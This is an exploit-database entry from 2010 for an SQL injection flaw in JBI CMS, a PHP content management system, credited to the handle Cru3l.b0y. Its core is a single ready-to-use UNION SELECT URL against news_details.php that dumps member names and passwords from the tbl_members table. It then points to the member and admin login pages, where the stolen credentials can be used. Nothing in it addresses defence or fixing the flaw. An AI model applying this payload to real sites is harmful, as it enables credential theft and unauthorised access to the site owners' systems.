JBI CMS SQL Injection Vulnerability

2010-11-05T00:00:00
ID 1337DAY-ID-14729
Type zdt
Reporter Cru3l.b0y
Modified 2010-11-05T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ===================================
JBI CMS SQL Injection Vulnerability
===================================

[+] Exploit Title: JBI CMS SQL Injection Vulnerability
[+] Date: 2010-11-04
[+] Author  : Cru3l.b0y
[+] Software Link: http://www.jamesblakeinternet.com/london/cms
[+] Tested on: Ubuntu 10.10
[+] Contact : [email protected]
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, ...
 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Exploit :
 
             http://target/path/news_details.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6,7+from+tbl_members
                 
Login page for members : /member.php
Login page for Admins  : /admin



#  0day.today [2018-04-14]  #